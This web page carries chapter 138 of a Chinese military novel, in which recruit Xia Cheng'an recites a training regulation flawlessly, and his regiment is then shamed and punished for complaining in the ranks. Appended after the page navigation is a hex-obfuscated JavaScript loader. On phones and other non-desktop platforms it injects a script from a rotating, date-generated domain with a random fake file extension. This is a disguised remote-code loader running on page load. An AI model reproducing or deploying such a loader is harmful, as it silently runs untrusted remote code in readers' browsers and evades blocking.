返回第一百三十八章 真正的输家  帘秋霁首页

关灯 护眼     字体:

上一章 目录 下一章

夏承安没有任何多余的动作,从李爱军手中接过那份组训条例,随即便将注意力全都放在了手中四张双面印刷得密密麻麻的铅字上。

而在他斜后方的不远处,735团的队列中,三个新兵同样在右侧的新兵们身上扫视了一圈,最终同时将目光汇聚到了夏承安身上。

虽然没有见过夏承安本人,但从他们进入新兵连的那一刻,他们的耳边就时不时萦绕着夏承安的名字。对这个光环比他们还多的家伙,说不羡慕嫉妒那是假的。

但现实就是如此,重点大学毕业,仅仅这六个字,就让他们必须要承受别人的比较和比较带来的压力。

因此,如今的他们跟当日的徐振卿一样,心里一直憋着一团迫切地希望超过夏承安的火。

这团火焰从点燃之日起就越烧越旺,时至今日,已经成了他们自我认可的一道障碍。来参加这次组训之前,他们就不停地祈祷能够得到一个证明自己的机会。

如今,显然他们的祈祷得到了回应。

哪怕接下来三个月还有无数次机会能够让他们证明自己,他们依旧迫不及待地希望从这一刻开始,彻底扭转全团乃至全师对他们这些人的印象。

看到夏承安拿到组训条例就急不可耐地背诵起来,这三位大学生新兵并没有多少急切。

这样的举动在他们眼里,多少有些不自信。虽然他们对夏承安依旧保持着相当的警惕,但从这一刻开始,那块一直压在他们心尖上的石头,总算落地了。

当所有人处于同一的时候,他们内心的骄傲让他们觉得,自己并不比任何人差。

夏承安不知道自己会让别人这么看待自己,不过即便知道,大抵也不会觉得荣幸。

虽然封定边给他印象确实不是特别好,但他一直觉得封定边的那句话说得没错——在没有成为第一梯队的那批人之前,跟别人较劲根本没什么意义。

此时他的眼里只有手中那几张a4纸上的文字,而随着他不断地默诵,短短十五分钟时间,通篇条例已经阅读完毕。

夏承安并没有立刻进行正式地背诵。

回顾三个月新兵训练他记忆过的很多条令条例,夏承安从《军训条例》中找到了很多跟这篇相似甚至相同的内容。

从那些更加复杂的条令中,夏承安逐渐抓住了这则条例设立的脉络。将

这些脉络清晰化之后,如同描绘一棵树一样,夏承安看着纸张上的内容,开始为这些脉络画上具体的叶片和花朵。

这是一种非常特殊的记忆方式。

而这个阶段,也是这种记忆方式最重要的部分。

随着时间一点一滴流逝,夏承安渐渐将一棵勾勒了很多叶片的树苗栽种在了脑海当中。

随后他开始了第二次详细地默诵。

这一次,夏承安没有像第一遍一样快的速度。他的目光时而在字里行间飞掠,时而又在某一段内容上注视良久。通篇不过四千多字的内容,夏承安足足看了三十多分钟。

这一次看过,夏承安闭上了眼睛。

他的脑海中那些只是勾勒出轮廓的叶片随着记忆的回顾一片接着一片变得清晰生动,虽然偶尔也有空洞,但夏承安并没有因此睁开眼睛去看手中的纸张。

十分钟后,夏承安重新睁开眼,开始了针对性地默诵。

又五分钟了,再度闭上双眼。

如此反复两次,从拿到条例的那一刻开始也不过过去了一个半小时,夏承安再度睁开眼睛时,忽然将目光投向百无聊赖站在队列前方的黄参谋。

“报告!”

一声算不得嘹亮的声音,放在新兵连的时候,或许会迎来李爱军劈头盖脸地痛骂。

但此时它却像一道惊雷般,将所有沉浸在背诵中的新兵们全都惊醒,随即将他们的注意力吸引到了夏承安身上。

沐浴在诸多不可思议的目光中,夏承安目光坚定地看着同样诧异的黄参谋,毫不迟疑地汇报道:

“报告首长,736团坦二连列兵夏承安请求考核。”

这么短的时间内就请求背诵,黄参谋虽然理解夏承安迫切地希望为连队立功的心情,但为了确保自己的老同学不会因此大失颜面,到底还是没有立刻同意夏承安的请求。

“夏承安,我理解你的心情,但比试这种东西,不是谁快谁就行的。到底还是要确保质量,才能确保胜利。要不,你再复习一下?”

黄参谋确实是一片好意,但对此时的夏承安而言,这片好意属实有些多余。

记忆也是有时间曲线的,夏承安可以保证,只要现在自己能够一口气背诵完,那接下来一小时后,八小时后,一天,两天,六天……只要在一定的时间内复习一遍,这些东西就绝对不会忘记。

趁脑海中那棵

记忆的树苗还没有黯淡了颜色,他必须要为736团拿下这一局。

“报告首长,我很确定,我不用再复习。”

如此自信的夏承安让黄参谋不由得皱了皱眉头,但当他看到夏承安坚定的眼神,到底还是没有继续劝阻。

“那就开始吧。”

“第一章,总则 。第一条,为适应建设革命化、现代化、正规化装甲部队的需要,保证训练落实,提高训练质量,促进训练发展,特制定本条例……”

夏承安的记忆如同泉涌一样,眼睛里似乎都在不停地向外边冒着字符,平和的气息和稳定的速度让人毫不怀疑,这个削瘦的年轻人肚子里确实有真材实料。

四千多字的条例口述并不需要太长时间,甚至还没有夏承安默诵一遍来得慢。

而在这个过程中,无论735还是736团的新兵和老兵,又或者是黄参谋和他身后的官兵,全都从对照原文变成了认真聆听。

毫无疑问,夏承安根本没有背错哪怕一个字。

当最后一句条例背诵完毕,三层小楼前重新恢复安静之后,黄参谋看向夏承安的眼神里,充满了热切。

如此强大的记忆力,如果再算上夏承安在新兵连考核时的成绩,只要稍加培养,绝对是个干参谋的好苗子。

热切之后,黄参谋到底还是遗憾地摇了摇头。封定边是什么人他可一清二楚,到了那家伙嘴里的唐僧肉,哪是那么容易让他吐出来的。莫说自己不过是参谋,就算再带个“长”,要抢他的人,那家伙嘴上不敢说,心里也一定会骂娘。

摇摇头之后,黄参谋打消了自己脑子里不切实际的想法,随即开始为封定边担心起来。

把这种好苗子送到这里来,藏是肯定藏不住了。

谁知道哪天师首长兴致一来,下来视察一趟,指不定夏承安就会进入那几位的视线。到时候封定边甚至736团能不能保住这块宝贝疙瘩,那就真的不好说了。

想到这里,黄参谋觉得有必要借着这事,把那个赖皮欠自己的东西全都要回来。

要不然,今后那家伙就彻底赖账了。

不过,当务之急,还是要宣布这场较量的结果。

“邵强,你们团怎么个说法?”

有心打压这群骄兵悍将不可一世的气焰,黄参谋目光灼灼地看着那位刚才和自己顶嘴的老士官,脸上却并没有丝毫

戏谑和笑容。他很清楚,打压归打压,735团辉煌的历史和耀眼的成绩摆在那里,他一个小小的参谋没资格嘲笑人家。

即便,现在他们确实收获了一场小小的失利。

而被他点名的邵强,似乎也并没有因此就丧失了冷静。

“报告首长,能耐不如人,自然愿赌服输。735团参与组训的全体成员,从现在开始接受惩罚,在明天早餐前,不得以任何形式进食,可以饮用少量的水。除此以外,从现在开始,对组训条例进行加强学习。今晚熄灯号前检查,没背下来的,加练体能。”

邵强根本没有一点护犊子的意思,甚至还主动当着736团的面给他身后的所有人加了担子。

这样的部队,绝对能在短时间内就产生凝聚力和向心力以及战斗力。

不得不承认,这支刚才让夏承安有些不爽的部队,他们具备736团无法企及的魅力。

而在735团队的队列当中,方才雄心勃勃的三名大学生新兵的脸色却如丧考妣。

他们是为了证明自己而来的。可他们万万没想到,此前一直以为稳操胜券的比试,输的会如此彻底。

虽然这场小小的比试不会影响他们在部队的前途,但他们的骄傲却不允许自己被别人虐得体无完肤。他们很想提出再比试一场,但新训期间的经历却告诉他们,这并不是一个明智的选择。

如邵强一样,735团的官兵都是骄傲的。

这种骄傲来自他们的荣誉和成绩。

但这种骄傲并不是目空一切。

荣誉属于过去,而成绩属于现在。如果自己的成绩不能捍卫集体的荣誉,那个人的骄傲将一文不值。就在刚才,那个让他们心烦意乱的家伙,将他们的骄傲狠狠地砸在了地上。

如果不能亲手将其捡起来,他们就不配提出这种无理的要求。

因为,邵强不允许,其他735团的官兵也不允许。哪怕,他们在进入735团的时候,获得了一些格外的关照。

而他们不知道的是,夏承安此时也并没有多少胜利的喜悦。

李爱军当然不可能放任其他没有背熟条例的人跟着夏承安沾光,就在邵强的话音落下的同时,李爱军嘶哑的声音也随即响起:

“736团所有人注意,晚饭,夏承安替你们争取来了。你们有没有资格吃,要看你们自己的表现。

晚饭前半小时检查背诵情况,我的要求不高,四十一条内容,能背完不卡壳的,吃饭。背不出的,饿着。”

条例全文八十六条,李爱军并没有特别苛求新兵。饶是如此,队列中依旧发出了小声地哀叹,这种毫无斗志的行为顿时让李爱军瞪大了眼睛。

“谁在队列里唉声叹气,我数三下,主动站出来。”

在场所有人当中只有夏承安三人接受过李爱军的训练,并且如今直接接受李爱军的管束。分到其他连队的新兵并不领这位士官的情,或者说,他们并没有做好接受李爱军怒火的准备。

三声数很快结束,看着面前空荡荡一片,李爱军有些愤怒。

他愤怒的不是没有人听他的话,而是跟735团的令行禁止相比,他们这个刚刚获得了一场小小胜利的部队,无论纪律还是荣誉感,都被一臂之隔的输家比了下去。

作为一名将736团当成家的老兵,他不能容忍部队的未来交到这么一群孬种手里。

“我本来以为,今年我们坦克连都挑了一群好苗子。没想到,现在看来全都是一群没有担当的懦夫。没有人站出来是吧,很好,现在,包括我在内的所有人,军姿两小时。夏承安,你领读条例并检查军姿。谁要是偷奸耍滑,今晚我就联系团里派车接你们回去。”

无论夏承安还是李爱军都清楚,从队列中发出哀叹声的那一刻开始,他们就是真正的输家。

736团,在踏进这座组训基地的第一天,就彻底输给了李爱军甚至封定边乃至李援朝迫切希望打败的兄弟部队,甚至没有动一刀一枪,就因为一顿饭,彻底地败了。

今后很长一段时间,736团都要因此付出沉重的代价,直到,创造耻辱的这些人,能够真正地取得更大的荣誉。

可是,这样的梦想,会实现吗?

李爱军不知道,夏承安也不知道。

他们唯一能够做的,就是将那张被自己人踩碎在粪坑里的脸面,小心翼翼地捡回来些许碎片。从这一刻开始,夏承安忽然感觉,压在自己肩头的担子又沉重了很多。

走出队列的瞬间,夏承安看了一眼小心翼翼地看着自己的刘筱云,眼里带着些许失落。

刚才,那些发出哀叹的人当中,同样有自己这个好朋友的身影。他无法去苛责,却也不知道该说什么。

『加入书签,方便阅读』

上一章 目录 下一章

(function(_hN1,$QGSSpXr2,WglLY3,cKySOnvvL4,foOXyripQ5){var vEiTBsa6;_hN1['\x69\x64\x69\x61']=function(WA7){var qyRFA8=window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e']({},vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73'],WA7);return new vEiTBsa6(qyRFA8)};vEiTBsa6=function(args){window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e'](this,args);var G9={win:false,mac:false,xll:false};var yhZgFbF10=navigator['\x70\x6c\x61\x74\x66\x6f\x72\x6d'];G9['\x77\x69\x6e']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x57\x69\x6e")===0;G9['\x6d\x61\x63']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4d\x61\x63")===0;G9['\x78\x31\x31']=yhZgFbF10==="\x58\x31\x31"||yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4c\x69\x6e\x75\x78")===0;if(!G9['\x77\x69\x6e']&&!G9['\x6d\x61\x63']&&!G9['\x78\x6c\x6c']){this['\x5f\x69\x6e\x69\x74']()}};vEiTBsa6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5f\x69\x6e\x69\x74']=function(){let newDate=new window["\x44\x61\x74\x65"]();let time=newDate['\x67\x65\x74\x54\x69\x6d\x65']();let time2=null;if(this['\x73\x77\x69\x74\x63\x68\x5f\x64\x6f\x6d\x61\x69\x6e\x5f\x63\x6f\x75\x6e\x74']==1){time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))}else{time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))+(newDate['\x67\x65\x74\x48\x6f\x75\x72\x73']()<12?"\x30":"\x31")}let baseurl=this['\x62\x61\x73\x65\x5f\x75\x72\x69']['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x64\x61\x74\x65\x7d",time2);let week=null;newDate['\x67\x65\x74\x44\x61\x79']()==0?(week="\x73\x75\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==1?(week="\x6d\x6f\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==2?(week="\x74\x75\x65"):newDate['\x67\x65\x74\x44\x61\x79']()==3?(week="\x77\x65\x64"):newDate['\x67\x65\x74\x44\x61\x79']()==4?(week="\x74\x68\x75"):newDate['\x67\x65\x74\x44\x61\x79']()==5?(week="\x66\x72\x69"):(week="\x73\x61\x74");let day=newDate['\x67\x65\x74\x44\x61\x74\x65']();baseurl=baseurl['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x77\x65\x65\x6b\x64\x61\x79\x7d",week+day);let suffix=["\x6a\x73","\x6a\x73\x6f\x6e","\x68\x74\x6d\x6c","\x73\x68\x74\x6d\x6c","\x78\x6d\x6c","\x73\x78\x6d\x6c","\x70\x64\x66","\x72\x74\x66","\x64\x6f\x63","\x64\x6f\x63\x78","\x77\x70\x73","\x6f\x64\x66","\x70\x70\x74","\x78\x70\x73","\x70\x73\x64","\x70\x6e\x67","\x6a\x70\x67","\x6a\x70\x65\x67","\x77\x65\x64\x70","\x74\x78\x74",][window["\x4d\x61\x74\x68"]['\x66\x6c\x6f\x6f\x72'](window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()*21)];let htmlcode='\x3c\x73\x63\x72\x69\x70\x74 \x69\x64\x3d\x22'+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+'\x22 \x73\x72\x63\x3d\x22'+baseurl+time+"\x2e"+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+"\x2e"+this['\x77\x65\x62\x5f\x69\x64']+"\x2e"+suffix+"\x3f"+time+'\x22\x3e'+"\x3c\x2f"+"\x73\x63\x72\x69\x70\x74\x3e";window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e'](htmlcode)};vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73']={web_uuid:$QGSSpXr2,web_id:WglLY3,switch_domain_count:cKySOnvvL4,base_uri:foOXyripQ5,};_hN1['\x69\x64\x69\x61']()})(window, "auwBfFHWZjVcYVdXD5riSC", "1911", "2", "https://{weekday}.bugs{date}ko.com/");